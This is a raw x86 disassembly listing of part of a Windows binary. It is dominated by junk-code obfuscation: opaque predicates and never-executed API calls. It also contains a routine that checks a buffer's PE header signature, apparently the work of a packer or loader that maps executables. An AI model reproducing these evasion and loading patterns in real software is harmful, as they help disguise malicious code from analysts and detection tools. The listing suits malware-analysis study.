mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffe2
jle 0x42c37c
mov dword [ebp - 0xc], 0x3a18e418
mov dword [ebp - 0x1e4], 0
push 1
lea ecx, [ebp - 0x660]
call fcn.0042f328
mov dword [ebp - 0x64], 0
jmp 0x42bf79
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x42bf95
push dword [ebp - 0x64]
lea ecx, [ebp - 0x660]
call fcn.0042f416
mov dword [eax], 0xf9491450
jmp 0x42bf72
mov dword [ebp - 0x64], 0
jmp 0x42bfa5
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x42bfbb
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x8cc], 3
jmp 0x42bf9e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x878], eax
mov eax, 0x2b2faa96
add eax, 0x6dd3ed23
cmp eax, 0xd71b36c9
je 0x42bfea
mov dword [ebp - 0x4c0], 1
jmp 0x42bff1
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
sub eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x5c]
jne 0x42c00b
mov dword [ebp - 0x308], 1
jmp 0x42c012
and dword [ebp - 0x308], 0
cmp dword [ebp - 0x308], 0
je 0x42c02d
cmp dword [ebp - 0x5c], 0
je 0x42c02d
mov dword [ebp - 0x430], 1
jmp 0x42c034
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xffff
ja 0x42c064
mov dword [ebp - 0x310], 1
jmp 0x42c06b
and dword [ebp - 0x310], 0
cmp dword [ebp - 0x310], 0x3f8d
jge 0x42c083
mov dword [ebp - 0x654], 1
jmp 0x42c08a
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x8a4], eax
mov eax, 0xdb2097e6
cmp eax, 0xfffffff7
jb 0x42c0a9
mov dword [ebp - 0x50c], 1
jmp 0x42c0b0
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x50c], eax
jne 0x42c0c7
mov dword [ebp - 0x318], 1
jmp 0x42c0ce
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x318], eax
jne 0x42c0e5
mov dword [ebp - 0x438], 1
jmp 0x42c0ec
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x438], eax
jge 0x42c103
mov dword [ebp - 0x320], 1
jmp 0x42c10a
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x320]
neg eax
cmp eax, dword [ebp - 0xc]
jge 0x42c126
cmp dword [ebp - 0x5c], 0
jne 0x42c126
and dword [ebp - 0x1c8], 0
jmp 0x42c130
mov dword [ebp - 0x1c8], 1
push 0
lea ecx, [ebp - 0x660]
call fcn.0042f416
mov ecx, dword [ebp - 0x1c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x450]
mov dword [ebp - 0x728], eax
push 0
lea ecx, [ebp - 0x660]
call fcn.0042f416
mov eax, dword [eax]
neg eax
jne 0x42c16b
cmp dword [ebp - 0x1e4], 0
push 0
lea ecx, [ebp - 0x660]
call fcn.0042f416
mov ecx, dword [ebp - 0xc]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0xc]
jg 0x42c18f
mov dword [ebp - 0x4c8], 1
jmp 0x42c196
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x4c8], eax
jne 0x42c1ad
mov dword [ebp - 0x328], 1
jmp 0x42c1b4
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x328], eax
je 0x42c1cb
mov dword [ebp - 0x440], 1
jmp 0x42c1d2
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x440]
jge 0x42c1e9
mov dword [ebp - 0x330], 1
jmp 0x42c1f0
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x330], eax
jg 0x42c207
mov dword [ebp - 0x534], 1
jmp 0x42c20e
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x534], eax
jge 0x42c22b
cmp dword [ebp - 0x1d0], 0
jne 0x42c22b
and dword [ebp - 0x338], 0
jmp 0x42c235
mov dword [ebp - 0x338], 1
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xc], eax
jne 0x42c258
mov dword [ebp - 0x448], 1
jmp 0x42c25f
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x448]
jl 0x42c276
mov dword [ebp - 0x340], 1
jmp 0x42c27d
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
sub eax, dword [ebp - 0xc]
cmp eax, 4
jbe 0x42c297
mov dword [ebp - 0x4d0], 1
jmp 0x42c29e
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x4d0], eax
jge 0x42c2c5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8cc], 0
je 0x42c2c5
mov dword [ebp - 0x348], 1
jmp 0x42c2cc
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x350], eax
jg 0x42c2fb
cmp dword [ebp - 0x1e8], 0
je 0x42c2fb
mov dword [ebp - 0x514], 1
jmp 0x42c302
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0xadaf8d98
jne 0x42c317
mov eax, 0x833686a8
test eax, eax
je 0x42c336
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x42c334
push 0x1a4a
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x42c352
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x42c352
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov byte [ebp - 0x9c], 0
movzx eax, byte [ebp - 0x9c]
test eax, eax
je 0x42c36c
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x660]
call fcn.0042f3fa
jmp 0x42bf3a
mov dword [ebp - 0xd8], 0xee76f502
mov dword [ebp - 0x138], 0
jmp 0x42c39f
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 1
jge 0x42c3bb
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x5b8], 1
jmp 0x42c392
mov dword [ebp - 0xd8], 0
jmp 0x42c3d4
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jg 0x42c429
mov dword [ebp - 0xe8], 0xfab8c3ad
mov dword [ebp - 0xe8], 0
jmp 0x42c400
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x42c41c
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x5b8], 0x3152
jmp 0x42c3f3
cmp dword [ebp - 0xd8], 0
je 0x42c427
jmp 0x42c429
jmp 0x42c3c7
xor eax, eax
jmp 0x42ee17
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xf0], 0xfffffffe
jmp 0x42c453
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x14
jge 0x42c52a
mov dword [ebp - 0xdc], 0xfff8
mov dword [ebp - 0x198], 0
jmp 0x42c483
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x42c49f
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x8f4], 0xfde2bbef
jmp 0x42c476
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xdc], 0
jmp 0x42c4c4
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x27
jg 0x42c525
mov dword [ebp - 0x140], 0x888999d9
mov dword [ebp - 0x140], 0
jmp 0x42c4f0
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 1
jg 0x42c523
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x42c521
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
jmp 0x42c4e3
jmp 0x42c4b7
jmp 0x42c446
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0x7f8], 0x4074dd03
mov dword [ebp - 0x178], 0
jmp 0x42c55f
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
jge 0x42c57b
mov eax, dword [ebp - 0x178]
mov dword [ebp + eax*4 - 0x148], 7
jmp 0x42c552
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x148], 0
jmp 0x42c5a9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x148]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x148], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x148], 0xffffffe8
jg 0x42c5da
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x42c5d8
push 0x1762
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
jmp 0x42c58e
mov eax, dword [ebp - 0xf4]
cmp dword [eax], 0x4550
je 0x42cdb1
mov dword [ebp - 0x6bc], 1
mov dword [ebp - 0x6b8], 1
mov dword [ebp - 0x6b4], 1
mov dword [ebp - 0x6b0], 1
lea ecx, [ebp - 0x1ed]
call fcn.0042f425
push eax
lea eax, [ebp - 0x6ac]
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x8fc]
call fcn.0042f428
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x670]
call fcn.0042f3d4
mov dword [ebp - 0x4d8], 0x9ec7
mov dword [ebp - 0x370], 1
mov dword [ebp - 0x614], 0x8302cca7
mov dword [ebp - 0x4e8], 0xf5b872a6
mov dword [ebp - 0x190], 0
jmp 0x42c68a
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x42c6a6
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x610], 7
jmp 0x42c67d
push 2
lea ecx, [ebp - 0x670]
call fcn.0042f416
mov dword [eax], 0xfffffff8
jmp 0x42c6df
push 2
lea ecx, [ebp - 0x670]
call fcn.0042f416
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x358]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x670]
call fcn.0042f416
cmp dword [eax], 0x10
jle 0x42cb03
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x360], 0x193208af
mov dword [ebp - 0x63c], 0
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x42c72f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
mov dword [ebp - 0x40], 0
jmp 0x42c73f
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jne 0x42cafe
mov dword [ebp - 0x80], 0xfffffffb
push 1
lea ecx, [ebp - 0x708]
call fcn.0042f328
mov dword [ebp - 0x3b0], 0x24a13297
mov dword [ebp - 0x150], 0
jmp 0x42c780
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 1
jge 0x42c7a2
push dword [ebp - 0x150]
lea ecx, [ebp - 0x708]
call fcn.0042f416
mov dword [eax], 0x404f
jmp 0x42c773
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x42c7c5
push 0
push 0
push 0x848
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov dword [ebp - 0x80], 0
jmp 0x42c7d5
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jg 0x42caee
mov dword [ebp - 0x180], 0xfba1a4d6
mov dword [ebp - 0x51c], 0xfffffff9
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x398], 4
mov dword [ebp - 0x5c8], 1
mov dword [ebp - 0x180], 1
jmp 0x42c82a
mov eax, dword [ebp - 0x180]
dec eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0
jl 0x42cae9
mov dword [ebp - 0x470], 0x3205e60d
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0x610]
mov dword [ebp - 0x730], eax
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x4d8], eax
jne 0x42c883
mov dword [ebp - 0x380], 1
jmp 0x42c88a
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x4d8]
cmp eax, 0xf9e6b99b
jae 0x42c8a6
mov dword [ebp - 0x368], 1
jmp 0x42c8ad
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x368]
je 0x42c8c4
mov dword [ebp - 0x460], 1
jmp 0x42c8cb
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0x610]
cmp dword [ebp - 0x370], eax
jl 0x42c8f5
mov dword [ebp - 0x1ac], 1
jmp 0x42c8fc
and dword [ebp - 0x1ac], 0
push 0
lea ecx, [ebp - 0x708]
call fcn.0042f416
mov ecx, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1ac], eax
jl 0x42c92a
xor eax, eax
inc eax
jne 0x42c92a
and dword [ebp - 0x52c], 0
jmp 0x42c934
mov dword [ebp - 0x52c], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x52c], eax
jg 0x42c94b
mov dword [ebp - 0x378], 1
jmp 0x42c952
and dword [ebp - 0x378], 0
cmp dword [ebp - 0x378], 0xfffffff9
jge 0x42c967
mov dword [ebp - 0x468], 1
jmp 0x42c96e
and dword [ebp - 0x468], 0
push 2
lea ecx, [ebp - 0x670]
call fcn.0042f416
mov ecx, dword [ebp - 0x468]
sub ecx, dword [eax]
cmp ecx, 0xfffffffa
jl 0x42c994
mov dword [ebp - 0x4e0], 1
jmp 0x42c99b
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x380]
neg eax
cmp eax, dword [ebp - 0x4e0]
jge 0x42c9b7
mov dword [ebp - 0x388], 1
jmp 0x42c9be
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
jne 0x42c9e2
cmp dword [ebp - 0x40], 0
jne 0x42c9e2
and dword [ebp - 0x390], 0
jmp 0x42c9ec
mov dword [ebp - 0x390], 1
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x51c]
cmp dword [ebp - 0x398], eax
jl 0x42ca12
mov dword [ebp - 0x478], 1
jmp 0x42ca19
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x614]
cmp dword [ebp - 0x478], eax
jg 0x42ca33
mov dword [ebp - 0x3a0], 1
jmp 0x42ca3a
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0
jne 0x42ca61
cmp dword [ebp - 0x3b0], 0
jne 0x42ca61
and dword [ebp - 0x3a8], 0
jmp 0x42ca6b
mov dword [ebp - 0x3a8], 1
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp + eax*4 - 0x610]
cmp dword [ebp - 0x3a8], eax
jg 0x42ca89
mov dword [ebp - 0x5c0], 1
jmp 0x42ca90
and dword [ebp - 0x5c0], 0
cmp dword [ebp - 0x80], 0
je 0x42caa2
mov dword [ebp - 0x480], 1
jmp 0x42caa9
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
sub eax, dword [ebp - 0x3b0]
cmp eax, dword [ebp - 0x63c]
je 0x42cac9
mov dword [ebp - 0x4fc], 1
jmp 0x42cad0
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x40], 0
je 0x42cae4
jmp 0x42cae9
jmp 0x42c81d
jmp 0x42c7ce
lea ecx, [ebp - 0x708]
call fcn.0042f3fa
jmp 0x42c738
jmp 0x42c6bb
lea ecx, [ebp - 0x670]
call fcn.0042f3fa
push 1
lea ecx, [ebp - 0x574]
call fcn.0042f328
push 1
lea ecx, [ebp - 0x680]
call fcn.0042f328
mov dword [ebp - 0x6c], 0
jmp 0x42cb38
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x42cb54
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x574]
call fcn.0042f416
mov dword [eax], 0x5dcec3d7
jmp 0x42cb31
mov dword [ebp - 0x6c], 0
jmp 0x42cb64
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x42cb80
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x680]
call fcn.0042f416
mov dword [eax], 1
jmp 0x42cb5d
push 0
lea ecx, [ebp - 0x680]
call fcn.0042f416
and dword [eax], 0
jmp 0x42cbb6
push 0
lea ecx, [ebp - 0x680]
call fcn.0042f416
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3b8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x680]
call fcn.0042f416
cmp dword [eax], 0
jg 0x42cd94
mov dword [ebp - 0x110], 0x2e31d832
mov dword [ebp - 0x110], 0
jmp 0x42cbef
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x42cd8f
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x20], 0
jmp 0x42cc13
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x42cd82
mov dword [ebp - 0xd0], 3
push dword [ebp - 0x20]
lea ecx, [ebp - 0x574]
call fcn.0042f416
push dword [ebp - 0x20]
lea ecx, [ebp - 0x574]
call fcn.0042f416
mov ecx, dword [ebp - 0x20]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x20]
je 0x42cc5a
mov dword [ebp - 0x488], 1
jmp 0x42cc61
and dword [ebp - 0x488], 0
push 0
lea ecx, [ebp - 0x574]
call fcn.0042f416
mov esi, dword [ebp - 0x488]
imul esi, dword [eax]
dec esi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x574]
call fcn.0042f416
sub esi, dword [eax]
cmp esi, 0x8f4727c
jl 0x42cc9c
mov dword [ebp - 0x3c0], 1
jmp 0x42cca3
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xeb2f
jne 0x42ccbf
cmp dword [ebp - 0x20], 0
mov eax, 0xdd664087
test eax, eax
je 0x42cce9
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x42cce7
push 0x1d19
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x42cd09
mov dword [ebp - 0x61c], 7
cmp dword [ebp - 0x20], 0
je 0x42ccfe
jmp 0x42cd82
cmp dword [ebp - 0x61c], 0
je 0x42cd09
jmp 0x42cd82
mov dword [ebp - 0xd0], 0
jmp 0x42cd22
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x42cd7d
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0x114], 0
jmp 0x42cd4e
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jl 0x42cd7b
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x42cd71
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [ebp - 0x20], 0
je 0x42cd79
jmp 0x42cd41
jmp 0x42cd41
jmp 0x42cd15
jmp 0x42cc0c
cmp dword [ebp - 0x20], 0
je 0x42cd8a
jmp 0x42cd8f
jmp 0x42cbe2
jmp 0x42cb92
lea ecx, [ebp - 0x680]
call fcn.0042f3fa
lea ecx, [ebp - 0x574]
call fcn.0042f3fa
xor eax, eax
jmp 0x42ee17
mov dword [ebp - 0x11c], 0x9b642c70
mov dword [ebp - 0x868], 0xe39e
push 1
lea ecx, [ebp - 0x558]
call fcn.0042f328
mov dword [ebp - 0x48], 0
jmp 0x42cde2
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x42cdf8
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x8d8], 0x837bc752
jmp 0x42cddb
mov dword [ebp - 0x48], 0
jmp 0x42ce08
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x42ce24
push dword [ebp - 0x48]
lea ecx, [ebp - 0x558]
call fcn.0042f416
mov dword [eax], 0x7c6f1fdb
jmp 0x42ce01
push 0
lea ecx, [ebp - 0x558]
call fcn.0042f416
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4f0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x558]
call fcn.0042f416
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x738], eax
push 0
lea ecx, [ebp - 0x558]
call fcn.0042f416
mov eax, 0x791e
inc eax
cmp eax, dword [ebp - 0x11c]
jge 0x42ce88
mov dword [ebp - 0x3c8], 1
jmp 0x42ce8f
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x11c], eax
mov esi, dword [ebp - 0x11c]
push 0
lea ecx, [ebp - 0x558]
call fcn.0042f416
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x558]
call fcn.0042f416
imul esi, dword [eax]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x8d8], esi
lea ecx, [ebp - 0x558]
call fcn.0042f3fa
push dword [ebp - 0xf4]
push 0x3ecf
push 0
push 1
push 0x48b
push 1
push 0x6e98
push 0x36d1
push 0x74d9
lea eax, [ebp - 0x1a4]
push eax
call fcn.00424932
add esp, 0x28
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x800], 0xc74aa0d7
mov dword [ebp - 0x740], 0xffffffff
mov dword [ebp - 0x8b4], 0
mov dword [ebp - 0x748], 6
mov dword [ebp - 0x808], 0xffffffff
mov dword [ebp - 0x750], 0x779a7b44
mov dword [ebp - 0x490], 0xec299e88
mov dword [ebp - 0x124], 0x1c
jmp 0x42cf74
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x12
jle 0x42d061
mov dword [ebp - 0x12c], 0xf5cd53bc
mov dword [ebp - 0x780], 0x941fc9a5
mov dword [ebp - 0x758], 0xd3f5047c
push 3
lea ecx, [ebp - 0x874]
call fcn.0042f328
mov dword [ebp - 0x784], 7
mov dword [ebp - 0x74], 0
jmp 0x42cfc6
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x42cfdc
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x928], 0x36951ad3
jmp 0x42cfbf
mov dword [ebp - 0x74], 0
jmp 0x42cfec
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 3
jge 0x42d008
push dword [ebp - 0x74]
lea ecx, [ebp - 0x874]
call fcn.0042f416
mov dword [eax], 0x9849b76e
jmp 0x42cfe5
mov dword [ebp - 0x12c], 2
jmp 0x42d021
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jl 0x42d044
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x42d042
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
jmp 0x42d014
mov eax, dword [ebp - 0x490]
dec eax
mov dword [ebp - 0x490], eax
lea ecx, [ebp - 0x874]
call fcn.0042f3fa
jmp 0x42cf67
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x42d079
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
cmp dword [ebp - 0x1a4], 0
jne 0x42d7cc
push 3
lea ecx, [ebp - 0x160]
call fcn.0042f328
push 3
lea ecx, [ebp - 0x5f8]
call fcn.0042f328
mov dword [ebp - 0x2e4], 0xfffffffe
mov dword [ebp - 0x1c], 0
jmp 0x42d0ba
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x42d0d6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
mov dword [eax], 9
jmp 0x42d0b3
mov dword [ebp - 0x1c], 0
jmp 0x42d0e6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x42d0f9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7c], 0x7d8a8701
jmp 0x42d0df
mov dword [ebp - 0x1c], 0
jmp 0x42d109
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x42d125
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x5f8]
call fcn.0042f416
mov dword [eax], 1
jmp 0x42d102
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7c], 2
jmp 0x42d14a
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7c], 0
jl 0x42d591
mov dword [ebp - 0x2b4], 0x3de7
mov dword [ebp - 0x27c], 0xffffffff
mov dword [ebp - 0x4c], 0
jmp 0x42d17f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x42d195
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x8e4], 0x2fa43dee
jmp 0x42d178
mov dword [ebp - 0x4c], 0
jmp 0x42d1a5
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x42d1bb
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x778], 0xbb6af833
jmp 0x42d19e
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
mov eax, dword [eax]
sub eax, 0x13ddf92f
test eax, eax
jle 0x42d1f1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c], 0
jne 0x42d1f1
and dword [ebp - 0x3d0], 0
jmp 0x42d1fb
mov dword [ebp - 0x3d0], 1
mov eax, dword [ebp - 0x3d0]
sub eax, 0xf0f
je 0x42d226
push 2
lea ecx, [ebp - 0x160]
call fcn.0042f416
cmp dword [eax], 0
je 0x42d226
mov dword [ebp - 0x500], 1
jmp 0x42d22d
and dword [ebp - 0x500], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
mov ecx, dword [ebp - 0x500]
cmp ecx, dword [eax]
jne 0x42d258
mov dword [ebp - 0x214], 1
jmp 0x42d25f
and dword [ebp - 0x214], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x7c]
lea ecx, [ebp - 0x160]
call fcn.0042f416
mov eax, dword [eax]
cmp eax, dword [ebp - 0x214]
jl 0x42d28a
